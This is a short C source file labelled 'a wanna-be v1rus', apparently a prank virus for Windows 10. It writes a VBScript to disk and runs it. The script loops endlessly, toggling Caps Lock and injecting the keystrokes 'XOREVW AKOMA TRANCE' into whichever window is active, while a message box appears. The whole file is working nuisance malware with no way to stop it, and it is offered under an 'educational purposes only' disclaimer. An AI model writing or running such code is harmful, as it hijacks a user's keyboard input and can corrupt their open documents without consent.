a wanna-be v1rus - 4/2022

trance.c

// based on dos v "techno"
// made for educational purposes only

#include <stdio.h> 
#include <stdlib.h>
#include <windows.h>

void blink();
DWORD WINAPI msg();

// targeting windows10
int main()
{
    // msg box in another thread
    HANDLE thread = CreateThread(NULL, 0, msg, NULL, 0, NULL);

    // "the unexpected behavior"
    blink();
    
    return 0;
}

// blink the caps lock etc
void blink()
{
    FILE *fp;
    char fname[] = "trance.vbs";

    // w+ read write overwrite
    fp = fopen(fname,"w+");

    // VBScript
    fputs("set x=wscript.createobject (\"wscript.shell\")\ndo\nwscript.sleep 100\nx.sendkeys \"{CAPSLOCK}\"\nx.sendkeys \"XOREVW AKOMA TRANCE \"\nloop\n", fp);

    fclose(fp);

    // run
    system("wscript trance.vbs");
}

// msg box display
DWORD WINAPI msg()
{
    MessageBox(0, "Xorevw akoma Trance!", "Trance", 0);
}